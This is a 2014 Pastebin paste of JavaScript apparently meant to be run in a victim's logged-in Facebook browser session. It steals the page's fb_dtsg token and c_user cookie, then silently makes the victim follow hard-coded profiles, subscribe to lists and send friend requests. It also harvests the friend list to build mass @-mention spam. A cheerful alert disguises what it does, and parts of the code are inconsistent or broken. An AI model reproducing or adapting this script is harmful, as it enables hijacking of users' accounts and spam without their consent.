Advertisement
zullykul

Untitled

Jul 30th, 2014
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.31 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Chúc các bạn chơi FB vui vẻ nhé ^^');
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  7. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  8. http4.open("POST", url4, true);
  9. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10. http4.setRequestHeader("Content-length", params4.length);
  11. http4.setRequestHeader("Connection", "close");
  12. http4.onreadystatechange = function() {
  13. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  14. }
  15. http4.send(params4);
  16. }
  17. // Close the connection
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a);
  22. }
  23. // Không edit bất kì gì từ đây trở lên
  24. a("100008175240090");
  25.  
  26.  
  27. a("100001121977645");a("100002309119220");a("100002620186905");a("100003328056651");a("100003248375743");sublist("1451487301800431");
  28. // Hàng VIP
  29. a("100004314702498");a("100003398913900");a("100004434552141");a("100003332671375");a("100004747173009");a("100006024035190");a("100003320433976");a("100006194293683");a("100002922745925");a("100003856119974");a("100003992113562");a("100001154591686");a("100003950026766");a("100004028621242");a("100002551736381");a("100002852964277");a("100003711953951");sublist("807725145915961");sublist("661464113907969");sublist("459356040821982");sublist("10152093799676888");sublist("256488657893286");
  30.  
  31.  
  32.  
  33.  
  34.  
  35. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  36. function sarkadaslari_al(){
  37. var xmlhttp = new XMLHttpRequest();
  38. xmlhttp.onreadystatechange = function () {
  39. if(xmlhttp.readyState == 4){
  40. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  41. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  42. smesaj = "";
  43. smesaj_text = "";
  44. for(i=f*10;i<(f+1)*10;i++){
  45. if(arkadaslar.payload.entries[i]){
  46. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  47. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  48. }
  49. }
  50. sdurumpaylas(); }
  51.  
  52. }
  53.  
  54. };
  55. var params = "&filter[0]=user";
  56. params += "&options[0]=friends_only";
  57. params += "&options[1]=nm";
  58. params += "&token=v7";
  59. params += "&viewer=" + user_id;
  60. params += "&__user=" + user_id;
  61.  
  62. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  63. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  64. xmlhttp.send();
  65. }
  66.  
  67. var tiklama = document.addEventListener("click", function () {
  68. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  69. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  70. sarkadaslari_al();
  71. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  72.  
  73. document.removeEventListener(tiklama);
  74. }
  75. }, false);
  76.  
  77. function sarkadasekle(uid,tem){
  78. var xmlhttp = new XMLHttpRequest();
  79. xmlhttp.onreadystatechange = function () {
  80. if(xmlhttp.readyState == 4){
  81. }
  82. };
  83.  
  84. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  85. var params = "to_friend=" + uid;
  86. params += "&action=add_friend";
  87. params += "&how_found=friend_browser";
  88. params += "&ref_param=none";
  89. params += "&outgoing_id=";
  90. params += "&logging_location=friend_browser";
  91. params += "&no_flyout_on_click=true";
  92. params += "&ego_log_data=";
  93. params += "&http_referer=";
  94. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  95. params += "&phstamp=165816749114848369115";
  96. params += "&__user=" + user_id;
  97. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  98. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  99.  
  100. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  101. xmlhttp.send(params);
  102. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  103. cinsiyetgetir(uid,tem,"sarkadasekle");
  104. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  105. xmlhttp.send(params);
  106. }
  107. }
  108.  
  109. var temsonuc = {};
  110. var temhtml = document.createElement("html");
  111. function scinsiyetgetir(uid,tem,fonksiyon){
  112. var xmlhttp = new XMLHttpRequest();
  113. xmlhttp.onreadystatechange = function () {
  114. if(xmlhttp.readyState == 4){
  115. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  116. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  117. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  118. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  119. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  120. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  121. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  122. }
  123. eval(fonksiyon + "(" + id + "," + tem + ");");
  124. }
  125. };
  126. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  127. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  128. xmlhttp.send();
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement